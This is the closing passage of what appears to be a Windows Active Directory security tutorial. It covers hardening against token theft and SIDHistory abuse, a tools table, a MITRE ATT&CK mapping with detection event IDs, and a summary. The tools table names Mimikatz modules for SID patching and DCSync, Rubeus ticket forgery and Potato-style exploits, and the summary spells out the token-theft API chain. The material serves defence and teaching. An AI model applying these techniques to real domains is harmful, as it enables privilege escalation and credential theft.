SeImpersonatePrivilegefrom service accounts that do not host RPC/COM/IIS workloads. This single change kills the Potato family on that host. - Turn on SID filtering on every forest trust that does not have a hard business case for SIDHistory expansion:
netdom trust child.lab.local /domain:partner.local /quarantine:yes. - Put privileged accounts in the Protected Users group. Side effects: no NTLM, no CredSSP delegation, no long-lived tickets, no cached credentials. Most token theft chains break against Protected Users members.
- Enforce Authentication Silos with Authentication Policies on Tier 0 accounts to limit which systems can authenticate them.
- Implement AD tiering so Tier 0 tokens never land on Tier 1/2 hosts. The vast majority of token theft incidents happen because a Domain Admin RDP’d into a workstation.
- Use Privileged Access Workstations for all Tier 0 work and disable NTLM where possible.
- Schedule recurring
sIDHistoryaudits. Anything outside a documented migration scenario is incident-grade. - Rotate the
krbtgtpassword twice with a 24-hour gap when you suspect compromise. Golden Tickets stop working only when the old hash falls out of the previous-password slot.
11. Tools for Identity and Trust Analysis
| Tool | Use | Link |
|---|---|---|
whoami /all | First-look at your own token, SIDs, privileges, IL | shipped |
nltest | Trust enumeration (/domain_trusts /all_trusts /v) | shipped |
netdom | Inspect/set SID filtering on a trust (/quarantine) | shipped |
secedit | Export user rights assignments as INF | shipped |
| Mimikatz | token::*, sid::patch, sid::add, lsadump::dcsync | github.com/gentilkiwi/mimikatz |
| Rubeus | TGT/TGS forgery, S4U abuse, ticket inspection | github.com/GhostPack/Rubeus |
| PowerView | Get-DomainTrust, Get-DomainGPOUserLocalGroupMapping | github.com/PowerShellMafia/PowerSploit |
| SharpHound + BloodHound | AD relationship graph, trust mapping, ACL paths | bloodhound.specterops.io |
WinDbg !token, !process | Kernel-level token introspection | learn.microsoft.com |
| Process Hacker / System Informer | Live token viewer per process and thread | systeminformer.sourceforge.io |
| PrintSpoofer / GodPotato | SeImpersonatePrivilege exploitation in lab | github.com/itm4n/PrintSpoofer |
| Sysmon | Provider for events 1/10/17 | sysinternals.com |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Access Token Manipulation | T1134 | Sysmon 10 on lsass, ETW NtDuplicateToken |
| Token Impersonation/Theft | T1134.001 | Sysmon 10 + 4672 |
| Create Process with Token | T1134.002 | 4688 with new logon ID, parent mismatch |
| Make and Impersonate Token | T1134.003 | 4624 type 9 followed by 4672 |
| Parent PID Spoofing | T1134.004 | Sysmon 1 ParentImage mismatch |
| SID-History Injection | T1134.005 | Security 4765/4766 |
| Domain Trust Discovery | T1482 | Sysmon 1 (nltest), LDAP ETW (trustedDomain filter) |
| Pass the Ticket | T1550.003 | 4769 with anomalous ticket options/encryption |
| Steal or Forge Kerberos Tickets | T1558 | 4769 with weak enc types, off-hours TGS requests |
| Account Discovery: Domain | T1087.002 | 4661 SAM handle, LDAP large-result queries |
Summary
- Identity in AD is a token full of SIDs, not a username. The kernel compares SIDs in the token to SIDs in ACEs; everything else is decoration.
- Privileges short-circuit DACL checks.
SeDebug,SeImpersonate,SeBackup,SeRestore,SeTakeOwnership, andSeLoadDriverare admin equivalents whenever enabled in a token. - Token theft beats credential theft for stealth.
OpenProcessToken→DuplicateTokenEx→CreateProcessWithTokenWborrows identity without touching a password; the Potato family delivers it fromSeImpersonatePrivilegealone. - SIDHistory is a backdoor with a paper trail. Watch for events 4765/4766, and audit
sIDHistorydirectly; group-membership audits will not catch it. - The forest is the security boundary, not the domain. Within-forest trusts disable SID filtering by default; verify with
netdom /quarantineand enable it on every trust that does not require SIDHistory expansion. - Detection lives in Sysmon 1/10/17, Security 4624/4672/4688/4765/4769, and ETW around
Ntoskrnltoken APIs. Wire them up before you need them.
Related Tutorials
- SIDs and Security Descriptors: Identity in Windows Security
- Access Tokens and Privileges: The Kernel’s Security Context
- Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle
References
- Security Principals | Microsoft Learn (Windows Server AD DS)
- Security Identifiers | Microsoft Learn (Windows Server AD DS)
- MITRE ATT&CK T1134.005 – Access Token Manipulation: SID-History Injection
- MITRE ATT&CK T1482 – Domain Trust Discovery
- Well-Known SIDs – Win32 Apps | Microsoft Learn
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.